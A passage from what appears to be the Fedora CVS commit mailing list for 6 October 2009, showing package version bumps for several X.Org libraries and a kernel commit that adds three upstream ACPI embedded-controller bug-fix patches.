diff -u -p -r1.2 -r1.3
--- sources	7 Apr 2009 07:18:48 -0000	1.2
+++ sources	6 Oct 2009 07:00:22 -0000	1.3
@@ -1 +1 @@
-266cce156dd0488ad3f06b8909187818  ibus-table-erbi-1.1.0.20090407.tar.gz
+ab7cc78e731396b6a3667f0d4886e7e7  ibus-table-erbi-1.2.0.20090901.tar.gz



From whot at fedoraproject.org  Tue Oct  6 07:04:51 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Tue,  6 Oct 2009 07:04:51 +0000 (UTC)
Subject: rpms/libXxf86dga/devel .cvsignore, 1.9, 1.10 libXxf86dga.spec, 1.23,
	1.24 sources, 1.10, 1.11
Message-ID: <20091006070451.7572A11C00C1@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/libXxf86dga/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16977

Modified Files:
	.cvsignore libXxf86dga.spec sources 
Log Message:
* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.1.1-1
- libXxf86dga 1.1.1
  Requires xorg-x11-proto-devel for new xf86dgaproto.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86dga/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	28 Aug 2009 03:02:10 -0000	1.9
+++ .cvsignore	6 Oct 2009 07:04:50 -0000	1.10
@@ -1 +1 @@
-libXxf86dga-1.0.99.1.tar.bz2
+libXxf86dga-1.1.1.tar.bz2


Index: libXxf86dga.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86dga/devel/libXxf86dga.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- libXxf86dga.spec	28 Aug 2009 03:02:10 -0000	1.23
+++ libXxf86dga.spec	6 Oct 2009 07:04:50 -0000	1.24
@@ -1,6 +1,6 @@
 Summary: X.Org X11 libXxf86dga runtime library
 Name: libXxf86dga
-Version: 1.0.99.1
+Version: 1.1.1
 Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
@@ -10,7 +10,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
 BuildRequires: pkgconfig
-BuildRequires: xorg-x11-proto-devel
+BuildRequires: xorg-x11-proto-devel >= 7.4-32
 BuildRequires: libX11-devel
 BuildRequires: libXext-devel
 
@@ -58,10 +58,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libXxf86dga.so
 %{_libdir}/pkgconfig/xxf86dga.pc
 %{_mandir}/man3/*.3*
-%{_includedir}/X11/extensions/xf86dga.h
 %{_includedir}/X11/extensions/xf86dga1.h
+%{_includedir}/X11/extensions/Xxf86dga.h
 
 %changelog
+* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.1.1-1
+- libXxf86dga 1.1.1
+  Requires xorg-x11-proto-devel for new xf86dgaproto.
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.0.99.1-1
 - libXxf86dga 1.0.99.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86dga/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	28 Aug 2009 03:02:10 -0000	1.10
+++ sources	6 Oct 2009 07:04:50 -0000	1.11
@@ -1 +1 @@
-de75bfb5a399af5df158a6dba203205b  libXxf86dga-1.0.99.1.tar.bz2
+368837d3d7a4d3b4f70be48383e3544e  libXxf86dga-1.1.1.tar.bz2



From whot at fedoraproject.org  Tue Oct  6 07:11:50 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Tue,  6 Oct 2009 07:11:50 +0000 (UTC)
Subject: rpms/xorg-x11-proto-devel/devel .cvsignore, 1.61, 1.62 sources, 1.60,
	1.61 xorg-x11-proto-devel.spec, 1.110, 1.111
Message-ID: <20091006071150.4467011C00C1@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-proto-devel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17796

Modified Files:
	.cvsignore sources xorg-x11-proto-devel.spec 
Log Message:
* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-33
- Upload xf86dgaproto 2.1 tarball, this time for real.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/devel/.cvsignore,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- .cvsignore	6 Oct 2009 06:58:42 -0000	1.61
+++ .cvsignore	6 Oct 2009 07:11:49 -0000	1.62
@@ -15,7 +15,7 @@ videoproto-2.3.0.tar.bz2
 xcmiscproto-1.2.0.tar.bz2
 xextproto-7.1.1.tar.bz2
 xf86bigfontproto-1.2.0.tar.bz2
-xf86dgaproto-2.0.99.1.tar.bz2
+xf86dgaproto-2.1.tar.bz2
 xf86driproto-2.1.0.tar.bz2
 xf86miscproto-0.9.2.tar.bz2
 xf86vidmodeproto-2.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/devel/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	6 Oct 2009 06:58:42 -0000	1.60
+++ sources	6 Oct 2009 07:11:49 -0000	1.61
@@ -12,7 +12,7 @@ b160a9733fe91b666e74fca284333148  render
 fb762146a18207a1e8bc9f299dfc7ac0  videoproto-2.3.0.tar.bz2
 7b83e4a7e9f4edc9c6cfb0500f4a7196  xcmiscproto-1.2.0.tar.bz2
 120e226ede5a4687b25dd357cc9b8efe  xf86bigfontproto-1.2.0.tar.bz2
-a0135bcc07009475a9db5aee362566fc  xf86dgaproto-2.0.99.1.tar.bz2
+a036dc2fcbf052ec10621fd48b68dbb1  xf86dgaproto-2.1.tar.bz2
 309d552732666c3333d7dc63e80d042f  xf86driproto-2.1.0.tar.bz2
 acae8edeb05a406f7f60bcbb218a8f1d  xf86miscproto-0.9.2.tar.bz2
 4434894fc7d4eeb4a22e6b876d56fdaa  xf86vidmodeproto-2.3.tar.bz2


Index: xorg-x11-proto-devel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/devel/xorg-x11-proto-devel.spec,v
retrieving revision 1.110
retrieving revision 1.111
diff -u -p -r1.110 -r1.111
--- xorg-x11-proto-devel.spec	6 Oct 2009 06:58:42 -0000	1.110
+++ xorg-x11-proto-devel.spec	6 Oct 2009 07:11:49 -0000	1.111
@@ -7,7 +7,7 @@
 Summary: X.Org X11 Protocol headers
 Name: xorg-x11-proto-devel
 Version: 7.4
-Release: 32%{?dist}
+Release: 33%{?dist}
 License: MIT
 Group: Development/System
 URL: http://www.x.org
@@ -267,6 +267,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pkgconfig/xproxymngproto.pc
 
 %changelog
+* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-33
+- Upload xf86dgaproto 2.1 tarball, this time for real.
+
 * Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-32
 - compositeproto 0.4.1
 - xf86dgaproto 2.1



From whot at fedoraproject.org  Tue Oct  6 07:21:16 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Tue,  6 Oct 2009 07:21:16 +0000 (UTC)
Subject: rpms/libXi/devel .cvsignore, 1.20, 1.21 libXi.spec, 1.39,
	1.40 sources, 1.21, 1.22
Message-ID: <20091006072116.7636B11C00C1@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/libXi/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19841

Modified Files:
	.cvsignore libXi.spec sources 
Log Message:
* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3-1
- libXi 1.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXi/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	25 Aug 2009 04:03:46 -0000	1.20
+++ .cvsignore	6 Oct 2009 07:21:16 -0000	1.21
@@ -1 +1 @@
-libXi-20090825.tar.bz2
+libXi-1.3.tar.bz2


Index: libXi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXi/devel/libXi.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- libXi.spec	25 Aug 2009 04:03:46 -0000	1.39
+++ libXi.spec	6 Oct 2009 07:21:16 -0000	1.40
@@ -1,17 +1,17 @@
 %define tarball libXi
-%define gitdate 20090825
+#define gitdate 20090825
 
 Summary: X.Org X11 libXi runtime library
 Name: libXi
-Version: 1.2.99
-Release: 11.%{gitdate}%{?dist}
+Version: 1.3
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-#Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
-Source0:    %{tarball}-%{gitdate}.tar.bz2
+Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
+#Source0:    %{tarball}-%{gitdate}.tar.bz2
 Source1:    make-git-snapshot.sh
 
 BuildRequires: autoconf automake libtool
@@ -38,8 +38,8 @@ Requires: pkgconfig
 X.Org X11 libXi development package
 
 %prep
-#%setup -q
-%setup -q -n %{tarball}-%{gitdate}
+%setup -q
+#setup -q -n %{tarball}-%{gitdate}
 
 # Disable static library creation by default.
 %define with_static 0
@@ -86,6 +86,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3-1
+- libXi 1.3
+
 * Tue Aug 25 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.2.99-11.20090825
 - Update to today's git master, requires inputproto 1.9.99.902
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXi/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	25 Aug 2009 04:03:46 -0000	1.21
+++ sources	6 Oct 2009 07:21:16 -0000	1.22
@@ -1 +1 @@
-ffa25245465d6547b8d93870c201cb0a  libXi-20090825.tar.bz2
+8df4ece9bd1efb02c28acb2b6f485e09  libXi-1.3.tar.bz2



From cebbert at fedoraproject.org  Tue Oct  6 07:33:23 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue,  6 Oct 2009 07:33:23 +0000 (UTC)
Subject: rpms/kernel/F-11 acpi-ec-merge-irq-and-poll-modes.patch, NONE,
	1.1 acpi-ec-restart-command-even-if-no-interrupts-from-ec.patch,
	NONE, 1.1 acpi-ec-use-burst-mode-only-for-msi-notebooks.patch,
	NONE, 1.1 TODO, 1.71, 1.72 kernel.spec, 1.1752, 1.1753
Message-ID: <20091006073323.0BBE111C00C1@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21707

Modified Files:
	TODO kernel.spec 
Added Files:
	acpi-ec-merge-irq-and-poll-modes.patch 
	acpi-ec-restart-command-even-if-no-interrupts-from-ec.patch 
	acpi-ec-use-burst-mode-only-for-msi-notebooks.patch 
Log Message:
ACPI EC bug fixes taken from kernel 2.6.32 (#492699, #525681)

acpi-ec-merge-irq-and-poll-modes.patch:
 ec.c |  140 ++++++++++++++++++++++---------------------------------------------
 1 file changed, 46 insertions(+), 94 deletions(-)

--- NEW FILE acpi-ec-merge-irq-and-poll-modes.patch ---
From: Alexey Starikovskiy <astarikovskiy at suse.de>
Date: Sat, 29 Aug 2009 23:06:14 +0000 (+0400)
Subject: ACPI: EC: Merge IRQ and POLL modes
X-Git-Tag: v2.6.32-rc1~171^2~11^2~2
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=2a84cb9852f52c0cd1c48bca41a8792d44ad06cc

ACPI: EC: Merge IRQ and POLL modes

In general, EC transaction should complete in less than 1ms, thus it is possible to merge wait for
1ms in poll mode and 1ms of interrupt transaction timeout.
Still, driver will wait 500ms for EC to complete transaction.

This significantly simplifies driver and makes it immune to problematic EC interrupt
implementations.

It also may lessen kernel start-up time by 500ms.

References: http://bugzilla.kernel.org/show_bug.cgi?id=12949

Signed-off-by: Alexey Starikovskiy <astarikovskiy at suse.de>
Signed-off-by: Len Brown <len.brown at intel.com>
---

diff --git a/drivers/acpi/ec.c b/drivers/acpi/ec.c
index 391f331..839b542 100644
--- a/drivers/acpi/ec.c
+++ b/drivers/acpi/ec.c
@@ -68,15 +68,13 @@ enum ec_command {
 #define ACPI_EC_DELAY		500	/* Wait 500ms max. during EC ops */
 #define ACPI_EC_UDELAY_GLK	1000	/* Wait 1ms max. to get global lock */
 #define ACPI_EC_CDELAY		10	/* Wait 10us before polling EC */
+#define ACPI_EC_MSI_UDELAY	550	/* Wait 550us for MSI EC */
 
 #define ACPI_EC_STORM_THRESHOLD 8	/* number of false interrupts
 					   per one transaction */
 
 enum {
 	EC_FLAGS_QUERY_PENDING,		/* Query is pending */
-	EC_FLAGS_GPE_MODE,		/* Expect GPE to be sent
-					 * for status change */
-	EC_FLAGS_NO_GPE,		/* Don't use GPE mode */
 	EC_FLAGS_GPE_STORM,		/* GPE storm detected */
 	EC_FLAGS_HANDLERS_INSTALLED	/* Handlers for GPE and
 					 * OpReg are installed */
@@ -170,7 +168,7 @@ static void start_transaction(struct acpi_ec *ec)
 	acpi_ec_write_cmd(ec, ec->curr->command);
 }
 
-static void gpe_transaction(struct acpi_ec *ec, u8 status)
+static void advance_transaction(struct acpi_ec *ec, u8 status)
 {
 	unsigned long flags;
 	spin_lock_irqsave(&ec->curr_lock, flags);
@@ -201,29 +199,6 @@ unlock:
 	spin_unlock_irqrestore(&ec->curr_lock, flags);
 }
 
-static int acpi_ec_wait(struct acpi_ec *ec)
-{
-	if (wait_event_timeout(ec->wait, ec_transaction_done(ec),
-			       msecs_to_jiffies(ACPI_EC_DELAY)))
-		return 0;
-	/* try restart command if we get any false interrupts */
-	if (ec->curr->irq_count &&
-	    (acpi_ec_read_status(ec) & ACPI_EC_FLAG_IBF) == 0) {
-		pr_debug(PREFIX "controller reset, restart transaction\n");
-		start_transaction(ec);
-		if (wait_event_timeout(ec->wait, ec_transaction_done(ec),
-					msecs_to_jiffies(ACPI_EC_DELAY)))
-			return 0;
-	}
-	/* missing GPEs, switch back to poll mode */
-	if (printk_ratelimit())
-		pr_info(PREFIX "missing confirmations, "
-				"switch off interrupt mode.\n");
-	set_bit(EC_FLAGS_NO_GPE, &ec->flags);
-	clear_bit(EC_FLAGS_GPE_MODE, &ec->flags);
-	return 1;
-}
-
 static void acpi_ec_gpe_query(void *ec_cxt);
 
 static int ec_check_sci(struct acpi_ec *ec, u8 state)
@@ -236,43 +211,51 @@ static int ec_check_sci(struct acpi_ec *ec, u8 state)
 	return 0;
 }
 
-static void ec_delay(void)
-{
-	/* EC in MSI notebooks don't tolerate delays other than 550 usec */
-	if (EC_FLAGS_MSI)
-		udelay(ACPI_EC_DELAY);
-	else
-		/* Use shortest sleep available */
-		msleep(1);
-}
-
 static int ec_poll(struct acpi_ec *ec)
 {
-	unsigned long delay = jiffies + msecs_to_jiffies(ACPI_EC_DELAY);
-	udelay(ACPI_EC_CDELAY);
-	while (time_before(jiffies, delay)) {
-		gpe_transaction(ec, acpi_ec_read_status(ec));
-		ec_delay();
-		if (ec_transaction_done(ec))
-			return 0;
+	unsigned long flags;
+	int repeat = 2; /* number of command restarts */
+	while (repeat--) {
+		unsigned long delay = jiffies +
+			msecs_to_jiffies(ACPI_EC_DELAY);
+		do {
+			/* don't sleep with disabled interrupts */
+			if (EC_FLAGS_MSI || irqs_disabled()) {
+				udelay(ACPI_EC_MSI_UDELAY);
+				if (ec_transaction_done(ec))
+					return 0;
+			} else {
+				if (wait_event_timeout(ec->wait,
+						ec_transaction_done(ec),
+						msecs_to_jiffies(1)))
+					return 0;
+			}
+			advance_transaction(ec, acpi_ec_read_status(ec));
+		} while (time_before(jiffies, delay));
+		if (!ec->curr->irq_count ||
+		    (acpi_ec_read_status(ec) & ACPI_EC_FLAG_IBF))
+			break;
+		/* try restart command if we get any false interrupts */
+		pr_debug(PREFIX "controller reset, restart transaction\n");
+		spin_lock_irqsave(&ec->curr_lock, flags);
+		start_transaction(ec);
+		spin_unlock_irqrestore(&ec->curr_lock, flags);
 	}
 	return -ETIME;
 }
 
 static int acpi_ec_transaction_unlocked(struct acpi_ec *ec,
-					struct transaction *t,
-					int force_poll)
+					struct transaction *t)
 {
 	unsigned long tmp;
 	int ret = 0;
 	pr_debug(PREFIX "transaction start\n");
 	/* disable GPE during transaction if storm is detected */
 	if (test_bit(EC_FLAGS_GPE_STORM, &ec->flags)) {
-		clear_bit(EC_FLAGS_GPE_MODE, &ec->flags);
 		acpi_disable_gpe(NULL, ec->gpe);
 	}
 	if (EC_FLAGS_MSI)
-		udelay(ACPI_EC_DELAY);
+		udelay(ACPI_EC_MSI_UDELAY);
 	/* start transaction */
 	spin_lock_irqsave(&ec->curr_lock, tmp);
 	/* following two actions should be kept atomic */
@@ -281,11 +264,7 @@ static int acpi_ec_transaction_unlocked(struct acpi_ec *ec,
 	if (ec->curr->command == ACPI_EC_COMMAND_QUERY)
 		clear_bit(EC_FLAGS_QUERY_PENDING, &ec->flags);
 	spin_unlock_irqrestore(&ec->curr_lock, tmp);
-	/* if we selected poll mode or failed in GPE-mode do a poll loop */
-	if (force_poll ||
-	    !test_bit(EC_FLAGS_GPE_MODE, &ec->flags) ||
-	    acpi_ec_wait(ec))
-		ret = ec_poll(ec);
+	ret = ec_poll(ec);
 	pr_debug(PREFIX "transaction end\n");
 	spin_lock_irqsave(&ec->curr_lock, tmp);
 	ec->curr = NULL;
@@ -295,8 +274,7 @@ static int acpi_ec_transaction_unlocked(struct acpi_ec *ec,
 		ec_check_sci(ec, acpi_ec_read_status(ec));
 		/* it is safe to enable GPE outside of transaction */
 		acpi_enable_gpe(NULL, ec->gpe);
-	} else if (test_bit(EC_FLAGS_GPE_MODE, &ec->flags) &&
-		   t->irq_count > ACPI_EC_STORM_THRESHOLD) {
+	} else if (t->irq_count > ACPI_EC_STORM_THRESHOLD) {
 		pr_info(PREFIX "GPE storm detected, "
 			"transactions will use polling mode\n");
 		set_bit(EC_FLAGS_GPE_STORM, &ec->flags);
@@ -314,16 +292,14 @@ static int ec_wait_ibf0(struct acpi_ec *ec)
 {
 	unsigned long delay = jiffies + msecs_to_jiffies(ACPI_EC_DELAY);
 	/* interrupt wait manually if GPE mode is not active */
-	unsigned long timeout = test_bit(EC_FLAGS_GPE_MODE, &ec->flags) ?
-		msecs_to_jiffies(ACPI_EC_DELAY) : msecs_to_jiffies(1);
 	while (time_before(jiffies, delay))
-		if (wait_event_timeout(ec->wait, ec_check_ibf0(ec), timeout))
+		if (wait_event_timeout(ec->wait, ec_check_ibf0(ec),
+					msecs_to_jiffies(1)))
 			return 0;
 	return -ETIME;
 }
 
-static int acpi_ec_transaction(struct acpi_ec *ec, struct transaction *t,
-			       int force_poll)
+static int acpi_ec_transaction(struct acpi_ec *ec, struct transaction *t)
 {
 	int status;
 	u32 glk;
@@ -345,7 +321,7 @@ static int acpi_ec_transaction(struct acpi_ec *ec, struct transaction *t,
 		status = -ETIME;
 		goto end;
 	}
-	status = acpi_ec_transaction_unlocked(ec, t, force_poll);
+	status = acpi_ec_transaction_unlocked(ec, t);
 end:
 	if (ec->global_lock)
 		acpi_release_global_lock(glk);
@@ -365,7 +341,7 @@ static int acpi_ec_burst_enable(struct acpi_ec *ec)
 				.wdata = NULL, .rdata = &d,
 				.wlen = 0, .rlen = 1};
 
-	return acpi_ec_transaction(ec, &t, 0);
+	return acpi_ec_transaction(ec, &t);
 }
 
 static int acpi_ec_burst_disable(struct acpi_ec *ec)
@@ -375,7 +351,7 @@ static int acpi_ec_burst_disable(struct acpi_ec *ec)
 				.wlen = 0, .rlen = 0};
 
 	return (acpi_ec_read_status(ec) & ACPI_EC_FLAG_BURST) ?
-				acpi_ec_transaction(ec, &t, 0) : 0;
+				acpi_ec_transaction(ec, &t) : 0;
 }
 
 static int acpi_ec_read(struct acpi_ec *ec, u8 address, u8 * data)
@@ -386,7 +362,7 @@ static int acpi_ec_read(struct acpi_ec *ec, u8 address, u8 * data)
 				.wdata = &address, .rdata = &d,
 				.wlen = 1, .rlen = 1};
 
-	result = acpi_ec_transaction(ec, &t, 0);
+	result = acpi_ec_transaction(ec, &t);
 	*data = d;
 	return result;
 }
@@ -398,7 +374,7 @@ static int acpi_ec_write(struct acpi_ec *ec, u8 address, u8 data)
 				.wdata = wdata, .rdata = NULL,
 				.wlen = 2, .rlen = 0};
 
-	return acpi_ec_transaction(ec, &t, 0);
+	return acpi_ec_transaction(ec, &t);
 }
 
 /*
@@ -466,7 +442,7 @@ int ec_transaction(u8 command,
 	if (!first_ec)
 		return -ENODEV;
 
-	return acpi_ec_transaction(first_ec, &t, force_poll);
+	return acpi_ec_transaction(first_ec, &t);
 }
 
 EXPORT_SYMBOL(ec_transaction);
@@ -487,7 +463,7 @@ static int acpi_ec_query(struct acpi_ec *ec, u8 * data)
 	 * bit to be cleared (and thus clearing the interrupt source).
 	 */
 
-	result = acpi_ec_transaction(ec, &t, 0);
+	result = acpi_ec_transaction(ec, &t);
 	if (result)
 		return result;
 
@@ -570,28 +546,10 @@ static u32 acpi_ec_gpe_handler(void *data)
 	pr_debug(PREFIX "~~~> interrupt\n");
 	status = acpi_ec_read_status(ec);
 
-	if (test_bit(EC_FLAGS_GPE_MODE, &ec->flags)) {
-		gpe_transaction(ec, status);
-		if (ec_transaction_done(ec) &&
-		    (status & ACPI_EC_FLAG_IBF) == 0)
-			wake_up(&ec->wait);
-	}
-
+	advance_transaction(ec, status);
+	if (ec_transaction_done(ec) && (status & ACPI_EC_FLAG_IBF) == 0)
+		wake_up(&ec->wait);
 	ec_check_sci(ec, status);
-	if (!test_bit(EC_FLAGS_GPE_MODE, &ec->flags) &&
-	    !test_bit(EC_FLAGS_NO_GPE, &ec->flags)) {
-		/* this is non-query, must be confirmation */
-		if (!test_bit(EC_FLAGS_GPE_STORM, &ec->flags)) {
-			if (printk_ratelimit())
-				pr_info(PREFIX "non-query interrupt received,"
-					" switching to interrupt mode\n");
-		} else {
-			/* hush, STORM switches the mode every transaction */
-			pr_debug(PREFIX "non-query interrupt received,"
-				" switching to interrupt mode\n");
-		}
-		set_bit(EC_FLAGS_GPE_MODE, &ec->flags);
-	}
 	return ACPI_INTERRUPT_HANDLED;
 }
 
@@ -837,8 +795,6 @@ static int acpi_ec_add(struct acpi_device *device)
 	acpi_ec_add_fs(device);
 	pr_info(PREFIX "GPE = 0x%lx, I/O: command/status = 0x%lx, data = 0x%lx\n",
 			  ec->gpe, ec->command_addr, ec->data_addr);
-	pr_info(PREFIX "driver started in %s mode\n",
-		(test_bit(EC_FLAGS_GPE_MODE, &ec->flags))?"interrupt":"poll");
 	return 0;
 }
 
@@ -1054,8 +1010,6 @@ static int acpi_ec_suspend(struct acpi_device *device, pm_message_t state)
 {
 	struct acpi_ec *ec = acpi_driver_data(device);
 	/* Stop using GPE */
-	set_bit(EC_FLAGS_NO_GPE, &ec->flags);
-	clear_bit(EC_FLAGS_GPE_MODE, &ec->flags);
 	acpi_disable_gpe(NULL, ec->gpe);
 	return 0;
 }
@@ -1064,8 +1018,6 @@ static int acpi_ec_resume(struct acpi_device *device)
 {
 	struct acpi_ec *ec = acpi_driver_data(device);
 	/* Enable use of GPE back */
-	clear_bit(EC_FLAGS_NO_GPE, &ec->flags);
-	set_bit(EC_FLAGS_GPE_MODE, &ec->flags);
 	acpi_enable_gpe(NULL, ec->gpe);
 	return 0;
 }

acpi-ec-restart-command-even-if-no-interrupts-from-ec.patch:
 ec.c |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE acpi-ec-restart-command-even-if-no-interrupts-from-ec.patch ---
From: Alexey Starikovskiy <astarikovskiy at suse.de>
Date: Thu, 1 Oct 2009 22:53:15 +0000 (+0400)
Subject: ACPI: EC: Restart command even if no interrupts from EC
X-Git-Tag: v2.6.32-rc3~4^2~2^2
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=e12ac3d018dd8f20a075f552020

ACPI: EC: Restart command even if no interrupts from EC

EC may forget a command without sending any "reset" interrupt,
thus we need to lessen the requirement for transaction restart.

Reference: http://bugzilla.kernel.org/show_bug.cgi?id=14247
Signed-off-by: Alexey Starikovskiy <astarikovskiy at suse.de>
Signed-off-by: Len Brown <len.brown at intel.com>
---

diff --git a/drivers/acpi/ec.c b/drivers/acpi/ec.c
index f707960..8a4897d 100644
--- a/drivers/acpi/ec.c
+++ b/drivers/acpi/ec.c
@@ -232,10 +232,8 @@ static int ec_poll(struct acpi_ec *ec)
 			}
 			advance_transaction(ec, acpi_ec_read_status(ec));
 		} while (time_before(jiffies, delay));
-		if (!ec->curr->irq_count ||
-		    (acpi_ec_read_status(ec) & ACPI_EC_FLAG_IBF))
+		if (acpi_ec_read_status(ec) & ACPI_EC_FLAG_IBF)
 			break;
-		/* try restart command if we get any false interrupts */
 		pr_debug(PREFIX "controller reset, restart transaction\n");
 		spin_lock_irqsave(&ec->curr_lock, flags);
 		start_transaction(ec);

acpi-ec-use-burst-mode-only-for-msi-notebooks.patch:
 ec.c |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

--- NEW FILE acpi-ec-use-burst-mode-only-for-msi-notebooks.patch ---
From: Alexey Starikovskiy <astarikovskiy at suse.de>
Date: Fri, 28 Aug 2009 19:29:44 +0000 (+0400)
Subject: ACPI: EC: use BURST mode only for MSI notebooks
X-Git-Tag: v2.6.32-rc1~171^2~11^2~1
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=6a63b06f3c494cc87eade97f081300bda60acec7

ACPI: EC: use BURST mode only for MSI notebooks

Signed-off-by: Alexey Starikovskiy <astarikovskiy at suse.de>
Signed-off-by: Len Brown <len.brown at intel.com>
---

diff --git a/drivers/acpi/ec.c b/drivers/acpi/ec.c
index 839b542..788db78 100644
--- a/drivers/acpi/ec.c
+++ b/drivers/acpi/ec.c
@@ -575,7 +575,8 @@ acpi_ec_space_handler(u32 function, acpi_physical_address address,
 	if (bits != 8 && acpi_strict)
 		return AE_BAD_PARAMETER;
 
-	acpi_ec_burst_enable(ec);
+	if (EC_FLAGS_MSI)
+		acpi_ec_burst_enable(ec);
 
 	if (function == ACPI_READ) {
 		result = acpi_ec_read(ec, address, &temp);
@@ -596,7 +597,8 @@ acpi_ec_space_handler(u32 function, acpi_physical_address address,
 		}
 	}
 
-	acpi_ec_burst_disable(ec);
+	if (EC_FLAGS_MSI)
+		acpi_ec_burst_disable(ec);
 
 	switch (result) {
 	case -EINVAL:


Index: TODO
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/TODO,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- TODO	1 Jul 2009 19:22:18 -0000	1.71
+++ TODO	6 Oct 2009 07:33:21 -0000	1.72
@@ -89,17 +89,8 @@
 	https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=126403
 	http://lkml.org/lkml/2006/8/2/208
 
-* linux-2.6-net-tulip-interrupt.patch
-	Queued by DaveM for next release.
-
-* linux-2.6-pci-sysfs-remove-id.patch
-        In 2.6.30-rc1. Needed for KVM PCI device assignment
-        https://bugzilla.redhat.com/487103
-
-* linux-2.6-kvm-skip-pit-check.patch:
-	Waiting to be pushed upstream from kvm git.
-
-* linux-2.6-xen-check-for-nx-support.patch
-	https://bugzilla.redhat.com/492523
-	Needed for xen domU to boot on some machines. Upstream since
-	2.6.30-rc2.
+* acpi-ec-merge-irq-and-poll-modes.patch
+* acpi-ec-restart-command-even-if-no-interrupts-from-ec.patch
+* acpi-ec-use-burst-mode-only-for-msi-notebooks.patch
+	ACPI EC fixes from 2.6.32 (#492699, #525681)
+	Should go in F-12 and 2.6.31-stable too, once they're tested.


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1752
retrieving revision 1.1753
diff -u -p -r1.1752 -r1.1753
--- kernel.spec	5 Oct 2009 23:14:06 -0000	1.1752
+++ kernel.spec	6 Oct 2009 07:33:21 -0000	1.1753
@@ -704,6 +704,10 @@ Patch3000: linux-2.6-fs-cifs-fix-port-nu
 
 # ACPI
 Patch4000: linux-2.6.30-cpuidle-faster-io.patch
+# EC fixes from 2.6.32 (#492699, #525681)
+Patch4010: acpi-ec-merge-irq-and-poll-modes.patch
+Patch4020: acpi-ec-use-burst-mode-only-for-msi-notebooks.patch
+Patch4030: acpi-ec-restart-command-even-if-no-interrupts-from-ec.patch
 
 #snmp fixes
 Patch10000: linux-2.6-missing-rfc2465-stats.patch
@@ -1249,6 +1253,10 @@ ApplyPatch linux-2.6-fs-cifs-fix-port-nu
 ApplyPatch linux-2.6-defaults-acpi-video.patch
 ApplyPatch linux-2.6-acpi-video-dos.patch
 ApplyPatch linux-2.6.30-cpuidle-faster-io.patch
+# EC fixes from 2.6.32 (#492699, #525681)
